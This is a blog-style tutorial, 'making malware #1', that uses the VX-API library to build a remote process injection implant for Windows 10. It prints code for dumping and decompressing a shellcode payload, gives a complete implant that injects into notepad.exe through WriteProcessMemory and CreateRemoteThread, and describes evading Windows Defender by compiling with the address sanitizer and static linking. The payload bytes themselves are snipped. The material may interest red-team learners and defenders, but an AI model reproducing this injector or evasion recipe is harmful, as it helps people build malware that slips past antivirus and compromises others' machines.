making malware #1

Let's analyze some of the capabilities of the VX-API and demonstrate the practical utility of this API against a modern Windows 10 end-user target

Part One: Introduction

We're back this week to take another look at the VX-API. In #0, we looked at the default implant in VX-API and we examined its operation in detail. This time, we're going to do a little bit more of our own development. The goal is to use the VX-API to inject into a remote process.

Note: For this writeup I downloaded a fresh copy of VX-API. There are some slight differences since the last writeup but nothing that will slow us down. We'll talk about what these differences mean for us in our development process.

Part Two: Getting Started

If we download and open up the VX-API project, this is what we see.

In this version of the API, we no longer have to build a struct that contains our payload. If we build the default Debug version of the project, our program ends without executing our shellcode!

That's pretty lame. But if we poke around, we notice that some serious improvements got made since the last version of VX-API that I wrote about.

Instead of having to generate a structure to call our standard payload, we can now call MpfSceXXX to call the function that executes the methodology we want to leverage for malicious code execution.

Additionally, the default function calls show us something interesting.

We now have a mechanism to compress our payloads. So if we dump the payload at runtime, we can remove the call to "CompressBuffer" and hardcode a compressed version of the default calc payload.

Using the following code snippet, we can print out the compressed payload.

int i = 0;
for (i = 0; i < Size; i++) {
	printf("\\x%x", *(CompressedBuffer+i));
}

Now that we have our compressed shellcode, we can code that into our implant and decompress it at runtime.

Looking through the source of the API we can see that the call to VirtualProtect is redundant. So we can shorten our Main.cpp file to the following:

Part Three: Remote Injection

Now that we know we have a method of successfully executing our payload, lets implement remote process injection. The general code flow will work something like this:

Find target process address -> allocate remote buffer -> copy payload to remote buffer -> execute payload in remote buffer

Thankfully, the API provides us a way to quickly implement all of this in a few lines of code.

Executing our implant inside of PowerShell we see that we successfully executed our payload!

We can also inspect the memory of notepad.exe and validate that our payload was injected.

Part Four: Can we detect it??

Unfortunately our implant is detected by Windows Defender when we use the default compilation settings. VX-API is very helpful in the development process, but its robust implementation means it includes a pretty thoroughly signatured set of function calls and strings that AV can leverage to detect our implants through static analysis. However, we still have some tricks up our sleeve.

Playing with the optimization didn't change detectability in this case but enabling the address sanitizer in Visual Studio currently provides us enough obfuscation to bypass Windows Defender when we compile as a static binary (using the /MT option).

Note: Making this change breaks the HeapFree() function and results in a runtime error. Commenting out that function call resolves this issue.

Part Five: The Code

#include "Win32Helper.h"

INT main(VOID)
{
	//payload buffer
	BYTE CompressedBuffer[] = "[...snip...]";
	//size of payload buffer
	DWORD Size = sizeof(CompressedBuffer);

	HMODULE hMod = NULL;
	ULONG Out = sizeof(CompressedBuffer);
	DWORD oldProtect = NULL;

	PBYTE DecompressedBuffer = CompressedBuffer;

	//Allocate new payload
	DecompressedBuffer = (PBYTE)VirtualAlloc(NULL, Out, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	//Decompress payload
	Out = LzStandardDecompressBuffer((PBYTE)CompressedBuffer, Size, (PBYTE)DecompressedBuffer, Out);


	//Find target
	CHAR targetName[] = "notepad.exe\0";
	auto targetPID = GetPidFromEnumProcessesA(targetName);

	//Execute payload in target
	MpfPiWriteProcessMemoryCreateRemoteThread((PBYTE)DecompressedBuffer, Size, targetPID);


	//if (DecompressedBuffer)
		//HeapFree(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, DecompressedBuffer);

	return ERROR_SUCCESS;
}

Part Six: ???

[Intentionally left blank]

Part Seve: Profit

Moving our executable into our test folder, we find that we're able to execute on a modern Windows 10 system with the latest Windows Defender definitions.

Part Eight: Conclusion

In this writeup, we were able to leverage the updated VX-API to quickly create a remote process injection implant that leveraged compression and payload execution techniques that significantly shorten malware development workflows. We saw that the robustness of the API hindered our ability to execute on a machine with Windows defender enabled, but sanitizing our addresses was enough to achieve code execution on our target.

This article validated the VX-API's practical utility in malware development and demonstrated the usage of several powerful functions that we used to inject malicious code into our target process.

References:

Last updated